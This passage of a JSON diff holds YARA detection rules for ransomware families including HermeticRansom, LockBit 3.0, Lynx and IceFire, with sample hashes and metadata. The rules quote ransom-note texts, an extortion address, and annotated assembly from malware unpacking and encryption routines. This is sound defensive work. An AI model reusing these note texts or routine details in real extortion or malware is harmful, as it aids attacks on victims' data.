$s_proc05 = \"spotify.exe\" ascii\n        $s_proc06 = \"skype.exe\" ascii\n        $s_proc07 = \"teams.exe\" ascii\n        $s_proc08 = \"vlc.exe\" ascii\n\n        $s_vm_detection_srv00 = \"vboxservice\" ascii\n        $s_vm_detection_srv01 = \"qemu\" ascii\n        $s_vm_detection_srv02 = \"hyperv\" ascii\n        $s_vm_detection_srv03 = \"vmware\" ascii\n\n    condition:\n        all of ($s_misc*) and\n        6 of ($s_proc*) and\n        2 of ($s_vm_detection_srv*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_funklocker"
+  ],
+  "rule_creation_date": "2025-01-10",
+  "rule_modified_date": "2025-07-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.FunkLocker"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_hermeticransom_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586845Z",
+  "creation_date": "2026-03-23T11:46:25.586848Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586853Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/\nhttps://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia"
+  ],
+  "name": "ransomware_hermeticransom.yar",
+  "content": "rule hermetic_ransom {\n    meta:\n        title = \"HermeticRansom\"\n        id = \"0f46fcd6-b6f6-4b88-bc75-f12944b6f017\"\n        description = \"Detects the ransomware HermeticRansom (aka PartyTicket).\\nHermeticRansom is a Go-based ransomware known for its role in attacks targeting organizations in Ukraine in February 2022.\\nIt uses a flawed encryption mechanism that makes it decryptable under certain conditions, as it does not properly initialize the encryption key.\\nThe ransomware drops a note demanding payment in exchange for decryption keys and includes specific text strings related to its operation, such as voting-related messages and encryption confirmation.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/\\nhttps://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia\"\n        date = \"2022-03-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1485;attack.t1561.002\"\n        classification = \"Windows.Ransomware.HermeticRansom\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382\n\n        $s1 = \"403forBiden/wHiteHousE\" ascii\n        $s2 = \"The only thing that we learn from new elections is we learned nothing from the old!\" ascii\n        $s3 = \"Thank you for your vote! All your files, documents, photoes, videos, databases etc. have been successfully encrypted!\" ascii\n        $s4 = \"Now your computer has a special ID:\" ascii\n        $s5 = \"Do not try to decrypt then by yourself - it's impossible!\" ascii\n        $s6 = \"vote2024forjb@protonmail.com\" ascii\n        $s7 = \"encryptedJBadvapi32.dll\" ascii\n\n        $go_buildid1 = \"Go build ID:\" ascii\n        $go_buildid2 = \"qb0H7AdWAYDzfMA1J80B/nJ9FF8fupJl4qnE4WvA5/PWkwEJfKUrRbYN59_Jba/2o0VIyvqINFbLsDsFyL2\" ascii\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 5MB and ((5 of ($s*)) or (all of ($go_buildid*)))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hermetic_ransom"
+  ],
+  "rule_creation_date": "2022-03-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.HermeticRansom"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1485",
+    "attack.t1561.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_icefire_linux_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586308Z",
+  "creation_date": "2026-03-23T11:46:25.586310Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586316Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/icefire-ransomware-returns-now-targeting-linux-enterprise-networks/"
+  ],
+  "name": "ransomware_icefire_linux.yar",
+  "content": "rule ransomware_icefire_linux {\n    meta:\n        title = \"IceFire Ransomware (Linux)\"\n        id = \"5ca01180-d889-4fd4-94fb-0c9b1ce7f29b\"\n        description = \"Detects the IceFire ransomware.\\nIceFire is a ransomware that first emerged in March 2022 targeting Windows systems.\\nA Linux variant appeared in March 2023, exploiting a vulnerability in IBM Aspera Faspex.\\nIt is recommended to investigate the process tree and file system operations for suspicious activities.\"\n        references = \"https://www.sentinelone.com/labs/icefire-ransomware-returns-now-targeting-linux-enterprise-networks/\"\n        date = \"2023-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Linux.Ransomware.IceFire\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // e9cc7fdfa3cf40ff9c3db0248a79f4817b170f2660aa2b2ed6c551eae1c38e0b\n\n        $s1 = \"********************Your network has been infected!!!********************\" ascii fullword\n        $s2 = \"/iFire-readme.txt\" ascii fullword\n        $s3 = \"iFire\" ascii fullword\n        $s4 = \".cfg.o.sh.img.txt.xml.jar.pid.ini.pyc.a.so.run.env.cache.xmlb\" ascii fullword\n        $s5 = \"6666666666666666\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\crypto/init.c\" ascii fullword\n\n    condition:\n        uint16(0) == 0x457f and 2 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_icefire_linux"
+  ],
+  "rule_creation_date": "2023-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Ransomware.IceFire"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_industrial_spy_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576454Z",
+  "creation_date": "2026-03-23T11:46:25.576456Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576461Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.zscaler.com/blogs/security-research/technical-analysis-industrial-spy-ransomware"
+  ],
+  "name": "ransomware_industrial_spy.yar",
+  "content": "rule ransomware_industrial_spy {\n    meta:\n        title = \"Industrial Spy Ransomware\"\n        id = \"b947045c-38bf-4962-9ac7-31e6edde7e51\"\n        description = \"Detects the Industrial Spy ransomware.\\nThis ransomware removes shadow copies and displays a ransom note instructing victims to pay at a TOR hidden site.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://www.zscaler.com/blogs/security-research/technical-analysis-industrial-spy-ransomware\"\n        date = \"2022-07-05\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Windows.Ransomware.IndustrialSpy\"\n        context = \"process,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n        strings:\n            // Detection for this sample:\n            // dfd6fa5eea999907c49f6be122fd9a078412eeb84f1696418903f2b369bec4e0\n\n            $s1 = \"File opening error is:\" fullword wide\n            $s2 = \"File unlocking error\" fullword wide\n            $s3 = \"\\\\microsoft\\\\\" fullword wide\n            $s4 = \"\\\\google\\\\chrome\" fullword wide\n            $s5 = \"\\\\mozilla\\\\firefox\" fullword wide\n            $s6 = \"\\\\opera\\\\\" fullword wide\n\n\n            // 0xFEEDBEEF is appended at the end of files\n\n            $o1 = {EF BE ED FE}         // 81 3E EF BE ED FE             cmp     dword ptr [rsi], 0FEEDBEEFh\n            $o2 = {B8 AB AA AA AA}      // B8 AB AA AA AA                mov     eax, 0AAAAAAABh\n\n            // C7 44 24 50 01 23 45 67       mov     [rsp+0E40h+var_DF0], 67452301h\n            // C7 44 24 54 89 AB CD EF       mov     [rsp+0E40h+var_DEC], 0EFCDAB89h\n            // C7 44 24 58 FE DC BA 98       mov     [rsp+0E40h+var_DE8], 98BADCFEh\n            // C7 44 24 5C 76 54 32 10       mov     [rsp+0E40h+var_DE4], 10325476h\n            $o3 = { 01 23 45 67\n                    [4] 89 AB CD EF\n                    [4] FE DC BA 98\n                    [4] 76 54 32 10\n            }\n\n            // DES SBox\n            $o4 = { 38 30 28 20 18 10 08 00\n                    39 31 29 21 19 11 09 01\n                    3A 32 2A 22 1A 12 0A 02\n                    3B 33 2B 23 3E 36 2E 26\n                    }\n\n        condition:\n                uint16(0) == 0x5A4D and filesize < 300KB and all of ($s*) and all of ($o*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_industrial_spy"
+  ],
+  "rule_creation_date": "2022-07-05",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.IndustrialSpy"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_lockbit_v3_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577842Z",
+  "creation_date": "2026-03-23T11:46:25.577845Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577850Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a\nhttps://www.txone.com/blog/malware-analysis-lockbit-3-0/"
+  ],
+  "name": "ransomware_lockbit_v3.yar",
+  "content": "rule ransomware_lockbit_v3 {\n    meta:\n        title = \"LockBit 3.0 Ransomware\"\n        id = \"86d13d46-97f1-4cdd-acbb-ccd81a40ffc2\"\n        description = \"Detects the LockBit 3.0 ransomware, also known as LockBit Black, a highly destructive ransomware variant first identified in March 2022.\\nLockBit 3.0 employs a password-based unpacking mechanism to decrypt its original text section, a technique reminiscent of the BlackCat ransomware.\\nThis method is used to obfuscate the malware's true nature and evade initial detection.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a\\nhttps://www.txone.com/blog/malware-analysis-lockbit-3-0/\"\n        date = \"2024-05-14\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Windows.Ransomware.LockBit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 99e9a539fef7c700018a515d2d4dc956a2ea280a6ce7d4f1495c122ad081e9eb\n        // dd66f2bea47cca7b54aad15492de0de218e66fac761e73e11db8826396d6954d\n        // 469604b689856c87463cad6d8df0e9f0da388d4046562b7979ded9f2f4a7b0cb\n        // ef65e2732f9d5bccadcb70f4721f340663ea605618b469915c36d85140c7e850\n        // 7655eef333753f91469fb05856dda21e43d1108a7cb93754f386d675edcd55b5\n        // 80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce\n        // eb82946fa0de261e92f8f60aa878c9fef9ebb34fdababa66995403b110118b12\n        // c75916ce1b114a3618c287b1a094ed206ff1aa3e5f5208f91c5c601a5247427a\n\n        $unpack_sections1 = {\n            66 83 F8 61                                   // cmp     ax, 61h ; 'a'\n            72 0C                                         // jb      short loc_41B15F\n            66 83 F8 66                                   // cmp     ax, 66h ; 'f'\n            77 06                                         // ja      short loc_41B15F\n            66 83 E8 57                                   // sub     ax, 57h ; 'W'\n            EB 14                                         // jmp     short loc_41B173\n\n                                // loc_41B15F:\n            66 83 F8 30                                   // cmp     ax, 30h ; '0'\n            72 0C                                         // jb      short loc_41B171\n            66 83 F8 39                                   // cmp     ax, 39h ; '9'\n            77 06                                         // ja      short loc_41B171\n            66 83 E8 30                                   // sub     ax, 30h ; '0'\n            EB 02                                         // jmp     short loc_41B173\n        }\n\n        $unpack_sections2 = {\n            B9 61 00 00 00                                // mov     ecx, 61h ; 'a'\n            AC                                            // lodsb\n            3C 41                                         // cmp     al, 41h ; 'A'\n            72 06                                         // jb      short loc_41B10A\n            3C 5A                                         // cmp     al, 5Ah ; 'Z'\n            77 02                                         // ja      short loc_41B10A\n            0C 20                                         // or      al, 20h\n        }\n\n        $unpack_sections3 = {\n            3D 75 80 91 76                                // cmp     eax, 76918075h\n            74 ??                                         // jz      short loc_41B082\n            3D 1B A4 04 00                                // cmp     eax, 4A41Bh\n            74 ??                                         // jz      short loc_41B082\n            3D 9B B4 84 0B                                // cmp     eax, 0B84B49Bh\n            75 ??                                         // jnz     short loc_41B09A\n        }\n\n        $decrypt_text_segment = {\n            8A 54 0D 00                                   // mov     dl, [ebp+ecx+var_s0]\n            02 D3                                         // add     dl, bl\n            8A 5C 15 00                                   // mov     bl, [ebp+edx+var_s0]\n            8A 54 1D 00                                   // mov     dl, [ebp+ebx+var_s0]\n            8A 54 15 00                                   // mov     dl, [ebp+edx+var_s0]\n            FE C2                                         // inc     dl\n            8A 44 15 00                                   // mov     al, [ebp+edx+var_s0]\n            30 07                                         // xor     [edi], al\n            8A 54 1D 00                                   // mov     dl, [ebp+ebx+var_s0]\n            86 54 0D 00                                   // xchg    dl, [ebp+ecx+var_s0]\n            88 54 1D 00                                   // mov     [ebp+ebx+var_s0], dl\n        }\n\n        $str_hashing = {\n            33 C9                                         // xor     ecx, ecx\n            B9 30 00 00 00                                // mov     ecx, 30h ; '0'\n            8D 0C 4D 01 00 00 00                          // lea     ecx, ds:1[ecx*2]\n            02 F1                                         // add     dh, cl\n            2A F1                                         // sub     dh, cl\n            33 C9                                         // xor     ecx, ecx\n            B9 06 00 00 00                                // mov     ecx, 6\n            8D 0C 4D 01 00 00 00                          // lea     ecx, ds:1[ecx*2]\n            D3 CA                                         // ror     edx, cl\n            03 D0                                         // add     edx, eax\n            90                                            // nop\n            85 C0                                         // test    eax, eax\n            75 ??                                         // jnz     short loc_4011D2\n        }\n\n        $api_hash = {\n            0F EF C0                                      // pxor    mm0, mm0\n            0F EF C9                                      // pxor    mm1, mm1\n            33 C0                                         // xor     eax, eax\n            40                                            // inc     eax\n            C1 E0 05                                      // shl     eax, 5\n            8D 40 10                                      // lea     eax, [eax+10h]\n            64 8B 00                                      // mov     eax, fs:[eax]\n            8B 40 0C                                      // mov     eax, [eax+0Ch]\n            8D 48 0C                                      // lea     ecx, [eax+0Ch]\n            89 4D F8                                      // mov     [ebp+var_8], ecx\n            8B 48 0C                                      // mov     ecx, [eax+0Ch]\n        }\n\n    condition:\n        2 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_lockbit_v3"
+  ],
+  "rule_creation_date": "2024-05-14",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.LockBit"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_lynx_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583311Z",
+  "creation_date": "2026-03-23T11:46:25.583314Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583321Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/inc-ransomware-rebrand-to-lynx/"
+  ],
+  "name": "ransomware_lynx.yar",
+  "content": "rule ransomware_lynx {\n    meta:\n        title = \"Lynx Ransomware\"\n        id = \"ca10d357-f2c9-44df-b1a8-892c733e3dd8\"\n        description = \"Detects the Lynx ransomware.\\nLynx is a ransomware that emerged in July 2024 as the successor to the Inc ransomware group.\\nThis ransomware continues the same double extortion tactics, encrypting victim files and threatening to leak stolen data unless a ransom is paid.\\nThe ransomware family is known for its sophisticated encryption methods and use of error handling mechanisms to mask its activities.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://unit42.paloaltonetworks.com/inc-ransomware-rebrand-to-lynx/\"\n        date = \"2024-12-12\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Windows.Ransomware.Lynx\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 571f5de9dd0d509ed7e5242b9b7473c2b2cbb36ba64d38b32122a0a337d6cf8b\n        // 85699c7180ad77f2ede0b15862bb7b51ad9df0478ed394866ac7fa9362bf5683\n        // ecbfea3e7869166dd418f15387bc33ce46f2c72168f571071916b5054d7f6e49\n        // 589ff3a5741336fa7c98dbcef4e8aecea347ea0f349b9949c6a5f6cd9d821a23\n\n        $s1 = \"Encrypt 100%% from entire file\" ascii\n        $s2 = \"[-] Error while importing key: %s\" ascii fullword\n        $s3 = \"[-] Failed to decode readme: %s\" ascii fullword\n        $s4 = \"LYNX\" ascii fullword\n        $s5 = \"[+] Proccess %s with PID: %d was killed succesffully\" wide fullword\n        $s6 =  \"\\\\background-image.jpg\" wide fullword\n\n        $x = {\n            0F B7 3C 03                   // movzx   edi, word ptr [ebx+eax]\n            8B D1                         // mov     edx, ecx\n            8D 4A BF                      // lea     ecx, [edx-41h]\n            83 F9 19                      // cmp     ecx, 19h\n            8D 72 20                      // lea     esi, [edx+20h]\n            8D 4F BF                      // lea     ecx, [edi-41h]\n            0F 47 F2                      // cmova   esi, edx\n            83 F9 19                      // cmp     ecx, 19h\n            8D 57 20                      // lea     edx, [edi+20h]\n            0F 47 D7                      // cmova   edx, edi\n            2B D6                         // sub     edx, esi\n            75 09                         // jnz     short loc_405E3A\n        }\n\n    condition:\n        4 of ($s*) or $x\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_lynx"
+  ],
+  "rule_creation_date": "2024-12-12",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.Lynx"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_notes_linux_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.589251Z",
+  "creation_date": "2026-03-23T11:46:25.589254Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.589259Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/threatlabz/ransomware_notes/\nhttps://github.com/eshlomo1/Ransomware-NOTE"
+  ],
+  "name": "ransomware_notes_linux.yar",
+  "content": "rule ransomware_notes_linux {\n    meta:\n        title = \"Ransomware Notes on linux\"\n        id = \"1f83e636-5c55-4842-8e48-3c9e5c1c7c3f\"\n        description = \"Detects notes dropped by ransomware after encrypting files on Linux systems.\\nThese notes typically contain demands for payment, instructions for decryption, and warnings about data leakage.\\nThe rule identifies such notes by scanning for specific strings left by various ransomware families, aiding in the identification of different ransomware strains.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/threatlabz/ransomware_notes/\\nhttps://github.com/eshlomo1/Ransomware-NOTE\"\n        date = \"2024-02-26\"\n        modified = \"2026-02-11\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Linux.Ransomware.Unknown\"\n        context = \"process,memory,thread,file.elf\"\n        os = \"Linux\"\n        score = 70\n        confidence = \"moderate\"\n\n    strings:\n        // Detection for this sample:\n        // 756ad48c814dea9e8f9f65dd2d796913386eb46d23514854dceeba91cd94772d\n\n        $canary = \"d6540ca7d3407bc543c3cb7b20a2fca13c96efa183faf250775baea2f2f8257ac25ac59f7a0a27a04c8733ee47ca971cf4b81c4513319d4ff301cc7e81da488d\"\n\n        $s_8base_00 = \"Now its fate is up to you\" wide ascii\n        $s_8base_01 = \"After 4 days starting tomorrow your leaked data will be Disclosed or sold\" wide ascii\n        $s_abysslocker_00 = \"Your company Servers are locked and Data has been taken to our servers.\" wide ascii\n        $s_abysslocker_01 = \"We will make you business stop forever by using all of our experience to make your partners\" wide ascii\n        $s_akira_01 = \"Whatever who you are and what your title is if you're reading this it means the internal infrastructure of your company is fully or partially dead\" wide ascii\n        $s_akira_02 = \"keep all the tears and resentment to ourselves and try to build a constructive dialogue\" wide ascii\n        $s_alphav_00 = \"Data on Your network was exfiltrated and encrypted\" wide ascii\n        $s_alphav_01 = \"Modifying encrypted files will result in permanent data loss!\" wide ascii\n        $s_alphav_02 = \"If you DON'T WANT your sensitive data to be PUBLISHED you have to act quickly\" wide ascii\n        $s_alphav_03 = \"Sensitive data on your system was DOWNLOADED and it will be PUBLISHED if you refuse to cooperate\" wide ascii\n        $s_atomsilo_00 = \"The only way to decrypt your files safely is to buy the special decryption software from us\" wide ascii\n        $s_atomsilo_01 = \"Sorry to inform you that your files has been obtained and encrypted by us\" wide ascii\n        $s_avaddon_00 = \"If you do not contact as in a 3 days we will post information about your breach on our public news website\" wide ascii\n        $s_avaddon_01 = \"DO NOT DELETE THIS FILE UNTIL ALL YOUR DATA HAVE BEEN RECOVERED\" wide ascii\n        $s_avoslocker_00 = \"Contact us soon, because those who don't have their data leaked in our press release blog\" wide ascii\n        $s_bianlian_00 = \"touch no files, don't try to recover by yourself, that may lead to it's complete loss\" wide ascii\n        $s_biglock_00 = \"AND MARKED BY EXTENSION .nermer\" wide ascii\n        $s_biglock_01 = \"YOUR FILES ARE SAFE! ONLY MODIFIED :: ChaCha + AES\" wide ascii\n        $s_bitpaymer_00 = \"YOUR COMPANY HAS BEEN SUCCESSFULLY PENETRATED!\" wide ascii\n        $s_bitpaymer_01 = \"Your network was hacked and encrypted\" wide ascii\n        $s_bitransomware_00 = \"The only method of recovering files is to purchase an unique decryptor\" wide ascii\n        $s_blackbasta_00 = \"Your data are stolen and encrypted\" wide ascii\n        $s_blackbasta_01 = \"we will consider this as a hostile intent and initiate the publication of whole compromised data immediately\" wide ascii\n        $s_blackbyte_00 = \"Your network has been breached and all data was encrypted\" wide ascii\n        $s_blackbyte_01 = \"If you read this message thats means your files already for sell in our Auction\" wide ascii\n        $s_blackbyte_02 = \"All your files have been encrypted, your confidential data has been stolen\" wide ascii\n        $s_blackbyte_03 = \"in order to decrypt files and avoid leakage, you must follow our steps\" wide ascii\n        $s_blackhunt_00 = \"Remember we are 